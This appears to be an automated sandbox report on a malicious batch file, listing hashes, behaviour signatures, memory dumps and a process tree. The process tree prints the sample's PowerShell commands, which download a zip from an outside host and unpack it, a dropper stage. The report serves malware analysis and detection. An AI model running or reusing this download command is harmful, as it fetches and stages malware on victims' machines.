1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1793s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 01:31

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General

Target

tesy - Copy (6).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2628	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2628	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 2628	1964	cmd.exe	29
PID 1964 wrote to memory of 2628	1964	cmd.exe	29
PID 1964 wrote to memory of 2628	1964	cmd.exe	29
PID 1964 wrote to memory of 2668	1964	cmd.exe	30
PID 1964 wrote to memory of 2668	1964	cmd.exe	30
PID 1964 wrote to memory of 2668	1964	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
aa4f74c3d1c7022eff6d4fc368d80112

SHA1
8ab5acd133320991015d9f160efb71f168381994

SHA256
5abeb2a9ea9b082f139a0b17b6e958ea9656b2e0235e35a0e0240e149e74ccc5

SHA512
af8670887f28ee74ac9fc23aa96e822458d3a1a31258f6c8e8e695ec24a57f09f307ac9542014d96d716a2e90baa5c7701c3689d8fbe35bcfb0e7047c0c792dd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JL7W16YJ8HABF5KIJV2P.temp

Filesize
7KB

MD5
aa4f74c3d1c7022eff6d4fc368d80112

SHA1
8ab5acd133320991015d9f160efb71f168381994

SHA256
5abeb2a9ea9b082f139a0b17b6e958ea9656b2e0235e35a0e0240e149e74ccc5

SHA512
af8670887f28ee74ac9fc23aa96e822458d3a1a31258f6c8e8e695ec24a57f09f307ac9542014d96d716a2e90baa5c7701c3689d8fbe35bcfb0e7047c0c792dd

Download Submit
memory/2628-8-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2628-7-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-4-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/2628-9-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2628-10-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2628-12-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-6-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-5-0x0000000002550000-0x0000000002558000-memory.dmp

Filesize
32KB

Download
memory/2668-19-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-18-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download
memory/2668-20-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2668-21-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2668-22-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-23-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-24-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2668-25-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2668-26-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Filesize
9.6MB

Download